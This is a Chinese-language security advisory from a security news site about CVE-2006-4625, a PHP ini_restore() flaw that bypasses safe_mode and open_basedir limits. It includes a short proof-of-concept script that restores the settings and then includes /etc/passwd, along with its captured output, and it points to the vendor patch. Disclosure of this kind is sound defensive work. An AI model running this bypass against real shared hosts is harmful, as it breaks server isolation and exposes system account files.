| 网站首页 | 新闻中心 | 系统安全 | 网络安全 | 安全技术 | 下载中心 | 
课件制作网.
收藏本站
设为首页
安全365
PHP Ini_Restore() Safe_Mode及Open_Basedir限制绕过漏洞
PHP Ini_Restore() Safe_Mode及Open_Basedir限制绕过漏洞
作者:佚名 文章来源:不详 点击数: 更新时间:2007-1-26 15:02:46
2006-9-11

发布日期:2006-09-09
更新日期:2006-09-11

受影响系统:
PHP PHP 5.1.6
PHP PHP 4.4.4

描述:

BUGTRAQ  ID: 19933
CVE(CAN) ID: CVE-2006-4625

PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

PHP在处理配置选项时存在漏洞,远程攻击者可能利用此漏洞绕过安全限制。

如果将PHP用作Apache模块的话,就可以使用Apache配置文件(如httpd.conf)中的指令更改配置设置。例如,httpd.conf中的open_basedir:

- ---
<Directory /usr/home/frajer/public_html/>
Options FollowSymLinks MultiViews Indexes
AllowOverride None
php_admin_flag safe_mode 1
php_admin_value open_basedir /usr/home/frajer/public_html/
</Directory>
- ---

在PHP中有两个config选项,分别是Local Value和Master Value。如果在Local Value中为选定的用户设置了safe_mode或open_basedir且Master Value为默认值,就可以通过ini_restore()函数将Master Value恢复为Local Value:

- ---
ini_restore

(PHP 4, PHP 5)
ini_restore -- Restores the value of a configuration option
- ---

恢复了php.ini文件的值攻击者就可以绕过httpd.conf的PHP选项。

<*来源:Maksymilian Arciemowicz (max@jestsuper.pl)
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=115781726915471&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

- ---
<?
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
?>
- ---

攻击结果:
- ---
1
/usr/home/frajer/public_html/
Warning: include() [function.include]: open_basedir restriction in effect. File(/etc/passwd)
is not within the allowed path(s):
(/usr/home/frajer/public_html/) in /usr/home/frajer/public_html/ini_restore.php on line 4

Warning: include(/etc/passwd) [function.include]: failed to open stream: Operation not
permitted in
/usr/home/frajer/public_html/ini_restore.php on line 4

Warning: include() [function.include]: Failed opening '/etc/passwd' for inclusion
(include_path='.:') in
/usr/home/frajer/public_html/ini_restore.php on line 4
# $BSD: src/etc/master.passwd,v 1.40 2005/06/06 20:19:56 brooks Exp $ # root:*:0:0:Charlie
&:/root:/bin/csh toor:*:0:0:Bourne-ag.....
- ---

建议:

厂商补丁:

PHP
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://cvs.php.net/viewcvs.cgi/php-src/NEWS

文章录入:admin    责任编辑:admin 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
     
     
     
    PHP html_entity_decode
    PHP HTMLEntities和HTML
    PHP wordwrap()缓冲区溢
    phpMyAdmin多个HTTP响应
    PHP session.save_path(
    WordPress functions.ph
    PHP Easy Download file
    PHP HTMLEntities和HTML
    WordPress functions.ph
    PHP Easy Download file

    Copyright © 2006-2008 www.anquan365.com 安全365
    建议使用1024*768分辨率及第三方浏览器对本站进行浏览